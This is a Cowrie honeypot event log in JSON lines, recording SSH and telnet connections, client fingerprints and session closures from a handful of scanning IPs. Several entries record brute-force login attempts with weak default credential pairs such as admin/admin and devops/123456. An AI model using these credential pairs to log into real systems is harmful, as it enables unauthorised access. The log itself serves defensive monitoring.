{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d17647222a2","protocol":"telnet","message":"New connection: 152.42.224.71:55322 (10.17.0.5:23) [session: 4d17647222a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:41.562756Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:42.224371Z","src_ip":"31.40.204.166","session":"06a03febb4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25873637199402,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:42.883443Z","src_ip":"152.42.224.71","session":"a474cf8a8215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46804,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1004b7b5f60","protocol":"ssh","message":"New connection: 87.251.64.176:46804 (10.17.0.5:22) [session: b1004b7b5f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:47.509341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:47.513526Z","src_ip":"87.251.64.176","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:47.609809Z","src_ip":"87.251.64.176","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:47.899753Z","src_ip":"87.251.64.176","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:47.998312Z","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:48.096586Z","src_ip":"87.251.64.176","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:48.329955Z","src_ip":"87.251.64.176","session":"b1004b7b5f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51974e55af9","protocol":"ssh","message":"New connection: 31.40.204.166:59808 (159.203.135.109:22) [session: d51974e55af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:52.712127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:52.716785Z","src_ip":"31.40.204.166","session":"d51974e55af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:52.904580Z","src_ip":"31.40.204.166","session":"d51974e55af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60904,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c07db9b0cf","protocol":"telnet","message":"New connection: 152.42.224.71:60904 (10.17.0.5:23) [session: 92c07db9b0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:53.338303Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:53.585423Z","src_ip":"31.40.204.166","session":"d51974e55af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:54.781124Z","src_ip":"31.40.204.166","session":"d51974e55af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d59942bda9","protocol":"telnet","message":"New connection: 152.42.224.71:45286 (10.17.0.5:23) [session: e3d59942bda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:57.025617Z"}
{"eventid":"cowrie.session.closed","duration":40.23549509048462,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:03.849161Z","src_ip":"152.42.224.71","session":"823fad81255b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57208,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e76b749b65","protocol":"ssh","message":"New connection: 31.40.204.166:57208 (159.203.135.109:22) [session: 96e76b749b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:05.020486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:05.028124Z","src_ip":"31.40.204.166","session":"96e76b749b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:05.195728Z","src_ip":"31.40.204.166","session":"96e76b749b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:05.685579Z","src_ip":"31.40.204.166","session":"96e76b749b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:06.812932Z","src_ip":"31.40.204.166","session":"96e76b749b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.91.114","src_port":44278,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d7dce5b701","protocol":"ssh","message":"New connection: 159.223.91.114:44278 (159.203.135.109:22) [session: d4d7dce5b701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:07.558887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:07.565445Z","src_ip":"159.223.91.114","session":"d4d7dce5b701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.04893350601196,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:07.806355Z","src_ip":"152.42.224.71","session":"3af7fb51b95e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:07.822145Z","src_ip":"159.223.91.114","session":"d4d7dce5b701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.79392099380493,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:08.123484Z","src_ip":"152.42.224.71","session":"c244621e698e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.82328939437866,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:12.786221Z","src_ip":"152.42.224.71","session":"45020550b7f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6156c74c729f","protocol":"telnet","message":"New connection: 152.42.224.71:47352 (10.17.0.5:23) [session: 6156c74c729f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:12.862409Z"}
{"eventid":"cowrie.session.closed","duration":120.00378847122192,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:14.970644Z","src_ip":"152.42.224.71","session":"aafc92678d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47364,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de9d57193a7","protocol":"telnet","message":"New connection: 152.42.224.71:47364 (10.17.0.5:23) [session: 6de9d57193a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:14.993180Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:15.566629Z","src_ip":"159.223.91.114","session":"d4d7dce5b701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34016,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2ad4dc8f548","protocol":"ssh","message":"New connection: 31.40.204.166:34016 (159.203.135.109:22) [session: a2ad4dc8f548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:16.705906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:16.722968Z","src_ip":"31.40.204.166","session":"a2ad4dc8f548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:16.901533Z","src_ip":"31.40.204.166","session":"a2ad4dc8f548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:17.498976Z","src_ip":"31.40.204.166","session":"a2ad4dc8f548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:18.722016Z","src_ip":"31.40.204.166","session":"a2ad4dc8f548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.668426513671875,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:20.231058Z","src_ip":"152.42.224.71","session":"4d17647222a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.91517424583435,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:23.143231Z","src_ip":"152.42.224.71","session":"850b30203977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33324,"dst_ip":"10.17.0.5","dst_port":23,"session":"465b9d234e7b","protocol":"telnet","message":"New connection: 152.42.224.71:33324 (10.17.0.5:23) [session: 465b9d234e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:25.874369Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33306,"dst_ip":"10.17.0.5","dst_port":23,"session":"696b157a75a1","protocol":"telnet","message":"New connection: 152.42.224.71:33306 (10.17.0.5:23) [session: 696b157a75a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:26.106488Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33316,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc631cdd194e","protocol":"telnet","message":"New connection: 152.42.224.71:33316 (10.17.0.5:23) [session: bc631cdd194e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:26.581556Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60894,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b30ac855df3","protocol":"ssh","message":"New connection: 31.40.204.166:60894 (159.203.135.109:22) [session: 2b30ac855df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:28.382317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:28.484770Z","src_ip":"31.40.204.166","session":"2b30ac855df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:28.599614Z","src_ip":"31.40.204.166","session":"2b30ac855df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:29.118305Z","src_ip":"31.40.204.166","session":"2b30ac855df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:30.301554Z","src_ip":"31.40.204.166","session":"2b30ac855df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e29ecb94982f","protocol":"telnet","message":"New connection: 152.42.224.71:44942 (10.17.0.5:23) [session: e29ecb94982f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:32.325988Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3662c8253e7e","protocol":"telnet","message":"New connection: 152.42.224.71:44956 (10.17.0.5:23) [session: 3662c8253e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:35.835056Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53206,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb59ba7b3bc","protocol":"ssh","message":"New connection: 31.40.204.166:53206 (159.203.135.109:22) [session: fdb59ba7b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:40.016080Z"}
